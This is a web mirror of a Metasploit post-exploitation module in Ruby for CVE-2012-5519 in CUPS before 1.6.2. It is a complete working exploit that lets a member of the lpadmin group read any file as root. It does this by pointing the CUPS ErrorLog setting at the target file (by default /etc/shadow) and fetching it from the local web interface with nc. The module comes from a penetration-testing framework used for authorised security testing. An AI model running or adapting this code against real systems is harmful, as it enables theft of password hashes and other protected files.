Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/escalate/cups_root_file_read.rb
19593 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
9
LP_GROUPS = ['lpadmin', '_lpadmin']
10
11
attr_accessor :web_server_was_disabled, :error_log_was_reset
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'CUPS 1.6.1 Root File Read',
18
'Description' => %q{
19
This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system.
20
CUPS allows members of the lpadmin group to make changes to the cupsd.conf
21
configuration, which can specify an Error Log path. When the user visits the
22
Error Log page in the web interface, the cupsd daemon (running with setuid root)
23
reads the Error Log path and echoes it as plaintext.
24
25
This module is known to work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.4
26
as long as the session is in the lpadmin group.
27
28
Warning: if the user has set up a custom path to the CUPS error log,
29
this module might fail to reset that path correctly. You can specify
30
a custom error log path with the ERROR_LOG datastore option.
31
},
32
'References' => [
33
['CVE', '2012-5519'],
34
['OSVDB', '87635'],
35
['URL', 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791']
36
],
37
'License' => MSF_LICENSE,
38
'Author' => [
39
'Jann Horn', # discovery
40
'joev' # metasploit module
41
],
42
'DisclosureDate' => '2012-11-20',
43
'Platform' => %w[linux osx],
44
'Notes' => {
45
'Stability' => [CRASH_SAFE],
46
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],
47
'Reliability' => []
48
}
49
)
50
)
51
register_options([
52
OptString.new('FILE', [true, 'The file to steal.', '/etc/shadow']),
53
OptString.new('ERROR_LOG',
54
[true, 'The original path to the CUPS error log', '/var/log/cups/error_log'])
55
])
56
end
57
58
def check_exploitability
59
user = cmd_exec('whoami')
60
user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/)
61
if (user_groups & LP_GROUPS).empty?
62
print_error 'User not in lpadmin group.'
63
return Msf::Exploit::CheckCode::Safe
64
end
65
66
print_good 'User in lpadmin group, continuing...'
67
68
if ctl_path.blank?
69
print_error 'cupsctl binary not found in $PATH'
70
return Msf::Exploit::CheckCode::Safe
71
end
72
73
print_good 'cupsctl binary found in $PATH'
74
75
nc_path = whereis('nc')
76
if nc_path.nil? || nc_path.blank?
77
print_error 'Could not find nc executable'
78
return Msf::Exploit::CheckCode::Unknown
79
end
80
81
print_good 'nc binary found in $PATH'
82
83
config_path = whereis('cups-config')
84
config_vn = nil
85
86
if config_path.nil? || config_path.blank?
87
# cups-config not present, ask the web interface what vn it is
88
output = get_request('/')
89
if output =~ /title.*CUPS\s+([\d.]+)/i
90
config_vn = ::Regexp.last_match(1).strip
91
end
92
else
93
config_vn = cmd_exec('cups-config --version').strip # use cups-config if installed
94
end
95
96
if config_vn.nil?
97
print_error 'Could not determine CUPS version.'
98
return Msf::Exploit::CheckCode::Unknown
99
end
100
101
print_status "Found CUPS #{config_vn}"
102
103
config_parts = config_vn.split('.')
104
if (config_vn.to_f < 1.6) || ((config_vn.to_f <= 1.6) && (config_parts[2].to_i < 2)) # <1.6.2
105
Msf::Exploit::CheckCode::Vulnerable
106
else
107
Msf::Exploit::CheckCode::Safe
108
end
109
end
110
111
def run
112
if check_exploitability == Msf::Exploit::CheckCode::Safe
113
print_error 'Target machine not vulnerable, bailing.'
114
return
115
end
116
117
defaults = cmd_exec(ctl_path)
118
@web_server_was_disabled = defaults =~ /^WebInterface=no$/i
119
120
# first we set the error log to the path intended
121
cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}")
122
cmd_exec("#{ctl_path} WebInterface=yes")
123
@error_log_was_reset = true
124
125
# now we go grab it from the ErrorLog route
126
file = strip_http_headers(get_request('/admin/log/error_log'))
127
128
# and store as loot
129
f = File.basename(datastore['FILE'])
130
loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f)
131
print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}")
132
end
133
134
def cleanup
135
print_status 'Cleaning up...'
136
cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled
137
cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset
138
ensure
139
super
140
end
141
142
private
143
144
def prev_error_log_path
145
datastore['ERROR_LOG']
146
end
147
148
def ctl_path
149
@ctl_path ||= whereis('cupsctl')
150
end
151
152
def strip_http_headers(http)
153
http.gsub(/\A(^.*\r\n)*/, '')
154
end
155
156
def whereis(exe)
157
line = cmd_exec("whereis #{exe}")
158
if line =~ /^\S+:\s*(\S*)/i
159
::Regexp.last_match(1) # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl"
160
else
161
line # on osx it just returns '/usr/sbin/cupsctl'
162
end
163
end
164
165
def get_request(uri)
166
output = perform_request(uri, 'nc -j localhost 631')
167
168
if output =~ /^(?:usage: nc|nc: invalid option -- 'j')/
169
output = perform_request(uri, 'nc localhost 631')
170
end
171
172
output
173
end
174
175
def perform_request(uri, nc_str)
176
# osx requires 3 newlines!
177
cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' '))
178
end
179
end
180
181